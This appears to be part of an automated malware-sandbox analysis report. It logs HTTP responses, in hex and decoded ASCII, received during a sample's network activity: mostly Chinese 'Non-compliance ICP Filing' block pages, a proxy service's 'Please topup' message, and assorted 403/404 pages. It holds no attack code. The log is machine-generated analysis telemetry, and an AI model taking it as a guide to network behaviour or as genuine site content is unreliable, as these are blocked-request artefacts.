Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlContent-Length: 2149Date: Mon, 11 Mar 2024 15:42:21 GMTX-Cache: MISS from kwts1-pubX-Cache-Lookup: NONE from kwts1-pub:3128Via: 1.1 kwts1-pub (squid/4.8)Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:21 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 15:42:21 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closeContent-Type: text/htmlCache-Control: no-cacheX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Length: 4897Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314050"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 38 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314088"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 15:42:22 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Mon, 11 Mar 2024 15:42:22 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 